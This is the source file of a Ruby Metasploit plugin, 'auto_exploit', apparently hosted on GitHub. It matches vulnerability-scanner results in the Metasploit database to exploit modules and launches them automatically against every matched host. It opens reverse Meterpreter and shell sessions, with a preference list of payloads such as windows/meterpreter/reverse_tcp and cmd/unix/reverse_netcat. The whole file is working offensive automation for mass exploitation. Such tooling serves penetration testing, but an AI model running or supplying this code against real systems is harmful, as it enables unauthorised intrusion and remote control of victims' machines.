/
auto_exploit.rb
474 lines (421 loc) · 13.7 KB
/
auto_exploit.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
# Copyright (c) 2012, Carlos Perez <carlos_perez[at]darkoperator.com
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted
# provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this list of conditions and
# the following disclaimer.
#
# Redistributions in binary form must reproduce the above copyright notice, this list of conditions
# and the following disclaimer in the documentation and/or other materials provided with the
# distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
module Msf
class Plugin::AutoExploit < Msf::Plugin
class AutoExploit
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"auto_exploit"
end
# Define Commands
def commands
{
"vuln_exploit" => "Runs exploits based on data imported from vuln scanners.",
"show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
}
end
# vuln exploit command
def cmd_vuln_exploit(*args)
require 'timeout'
# Define options
opts = Rex::Parser::Arguments.new(
"-f" => [ true, "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
"-r" => [ true, "Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default."],
"-m" => [ false, "Only show matched exploits."],
"-s" => [ false, "Do not limit number of sessions to one per target."],
"-j" => [ true, "Max number of concurrent jobs, 3 is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
filter = []
range = []
limit_sessions = true
matched_exploits = []
min_rank = 100
show_matched = false
maxjobs = 3
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good"=>400,
"great"=>500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-f"
range = val.gsub(" ","").split(",")
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-s"
limit_sessions = false
when "-m"
show_matched = true
when "-j"
maxjobs = val.to_i
when "-h"
print_line(opts.usage)
return
end
end
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
# generate a list of IP's to not exploit
range.each do |r|
Rex::Socket::RangeWalker.new(r).each do |i|
filter << i
end
end
exploits =[]
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('RPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == ""
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Skip those hosts that are filtered
next if filter.include?(h.address)
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
# Only show matched records if user only wanted if selected.
return if show_matched
# Track LPORTs used
known_lports = []
# Make sure that existing jobs do not affect the limit
current_jobs = framework.jobs.keys.length
maxjobs = current_jobs + maxjobs
# Start launching exploits that matched sorted by best ranking first
print_status("Running Exploits:")
matched_exploits.each do |e|
# Select a random port for LPORT
port_list = (1024..65000).to_a.shuffle.first
port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)
# Check if we are limiting one session per target and enforce
if limit_sessions and get_current_sessions.include?(e[:target])
print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
next
end
# Configure and launch the exploit
begin
ex = framework.modules.create(e[:exploit])
# Choose a payload depending on the best match for the specific exploit
ex = chose_pay(ex, e[:target])
ex.datastore['RHOST'] = e[:target]
ex.datastore['RPORT'] = e[:port].to_i
ex.datastore['LPORT'] = port_list
ex.datastore['VERBOSE'] = true
(ex.options.validate(ex.datastore))
print_status("Running #{e[:exploit]} against #{e[:target]}")
# Provide 20 seconds for a exploit to timeout
Timeout::timeout(20) do
ex.exploit_simple(
'Payload' => ex.datastore['PAYLOAD'],
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => true
)
end
rescue Timeout::Error
print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
end
jobwaiting(maxjobs)
end
else
print_error("No Exploits where Matched.")
return
end
end
# Show client side exploits
def cmd_show_client_side(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
filter = []
matched_exploits = []
min_rank = 100
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good"=>400,
"great"=>500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-h"
print_line(opts.usage)
return
end
end
exploits =[]
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('LPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
else
print_status("No Matching Client Side Exploits where found.")
end
end
# Normalize the OS name since different scanner may have entered different values.
def normalise_os(os_name)
case os_name
when /(Microsoft|Windows)/i
os = "windows"
when /(Linux|Ubuntu|CentOS|RedHat)/i
os = "linux"
when /aix/i
os = "aix"
when /(freebsd)/i
os = "bsd"
when /(hpux|hp-ux)/i
os = "hpux"
when /solaris/i
os = "solaris"
when /(Apple|OSX|OS X)/i
os = "osx"
end
return os
end
# Parse the exploit references and get a list of CVE, BID and OSVDB values that
# we can match accurately.
def parse_references(refs)
references = []
refs.each do |r|
# We do not want references that are URLs
next if r.ctx_id == "URL"
# Format the reference as it is saved by Nessus
references << "#{r.ctx_id}-#{r.ctx_val}"
end
return references
end
# Choose the proper payload
def chose_pay(mod, rhost)
# taken from the exploit ui mixin
# A list of preferred payloads in the best-first order
pref = [
'windows/meterpreter/reverse_tcp',
'java/meterpreter/reverse_tcp',
'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp',
'cmd/unix/interact',
'cmd/unix/reverse',
'cmd/unix/reverse_perl',
'cmd/unix/reverse_netcat',
'windows/meterpreter/reverse_nonx_tcp',
'windows/meterpreter/reverse_ord_tcp',
'windows/shell/reverse_tcp',
'generic/shell_reverse_tcp'
]
pset = mod.compatible_payloads.map{|x| x[0] }
pref.each do |n|
if(pset.include?(n))
mod.datastore['PAYLOAD'] = n
mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
return mod
end
end
end
# Create a payload given a name, lhost and lport, additional options
def create_payload(name, lhost, lport, opts = "")
puts name
pay = framework.payloads.create(name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
if not opts.empty?
opts.split(",").each do |o|
opt,val = o.split("=", 2)
pay.datastore[opt] = val
end
end
# Validate the options for the module
if pay.options.validate(pay.datastore)
print_good("Payload option validation passed")
end
return pay
end
def get_current_sessions()
session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
return session_hosts
end
# Method to write string to file
def file_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
def jobwaiting(maxjobs)
while(framework.jobs.keys.length >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
print_status("waiting for finishing some modules... active jobs: #{framework.jobs.keys.length} / threads: #{framework.threads.length}")
end
end
end
def initialize(framework, opts)
super
add_console_dispatcher(AutoExploit)
print_status("auto_exploit plug-in loaded.")
end
def cleanup
remove_console_dispatcher("auto_exploit")
end
def name
"auto_exploit"
end
def desc
"Allows for automation of running exploit modules based on information in the Database."
end
protected
end
end